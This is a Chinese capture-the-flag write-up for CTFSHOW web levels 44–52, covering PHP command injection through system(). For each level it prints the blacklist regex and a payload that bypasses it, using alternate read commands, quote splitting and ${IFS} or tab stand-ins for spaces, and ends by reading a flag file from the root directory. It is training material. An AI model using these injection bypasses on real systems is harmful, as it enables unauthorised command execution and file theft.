天天看点

CTFSHOW Web入门 44-52

目录

    • web 44
    • web 45
    • web 46
    • web 47
    • web 48
    • web 49
    • web 50
    • web 51
    • web 52

web 44

if(!preg_match("/;|cat|flag/i", $c))
{system($c." >/dev/null 2>&1");
           

这题过滤了cat,flag

关于cat的过滤绕过可以用以下命令来替换

cat file1 从第一个字节开始正向查看文件的内容

tac file1 从最后一行开始反向查看一个文件的内容

more file1 查看一个长文件的内容

less file1 类似于 ‘more’ 命令,但是它允许在文件中和正向操作一样的反向操作

head file1 查看一个文件

tail file1 查看一个文件

awk file1 查看一个文件

sort file1 将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。

nl file1 可以将输出的文件内容自动的加上行号

也可以用单双引号,通配符,拼接等方式绕过

关于flag的过滤可以用单双引号,通配符绕过,也利用反引号·ls·直接将全部文件抓取

playload:?c=tac `ls`||
           

web 45

if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1"); } 
           

多过滤了空格

空格可以用以下方法替代

${IFS}

<>

%09等

playload:?c=tac%09`ls`||
           

web 46

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c))
{system($c." >/dev/null 2>&1");} 
           

多过滤了数字,$,*

空格可以用<>替代,但不可以再用

ls

了,因为<,>这两个是重定向的输入输出,与

ls

一起会将结果给模糊了,从而操作失败。所以改用单双引号绕过

这边有重定向的详解链接

playload:?c=tac<>fl''ag.php||
           

web 47

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c))
{   system($c." >/dev/null 2>&1"); } 
           

多过滤了几个命令,但nl,awk,tac没被过滤

可以继续用

playload:?c=nl<>fl''ag.php||
           

web 48

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    } 
           

好家伙,这里可以带上小本本,记笔记。把这些被过滤的记下来,万一以后有哪天哪题没过滤这些,不就秒了(狗头)

同web48,要不nl 要不单双引,拼接等绕过

playload:?c=nl<>fl''ag.php||
           

web 49

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1"); 
           

多过滤了%

playload同上

web 50

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    } 
           

多过滤了%09( ),%26("),问题不大

playload同web49

web 51

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    } 
           

多过滤了tac,问题不大用

playload:?c=nl<>fl''ag.php||
           

web 52

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
           

多过滤了<>,空格可以用${IFS}替代

然后同上,但得到一个虚假的flag,

然后进行查找文件,最后在根目录下找到了flag文件

?c=ls${IFS}/||//查找根目录下文件
bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var 
playload:?c=nl${IFS}/fl''ag||
           

继续阅读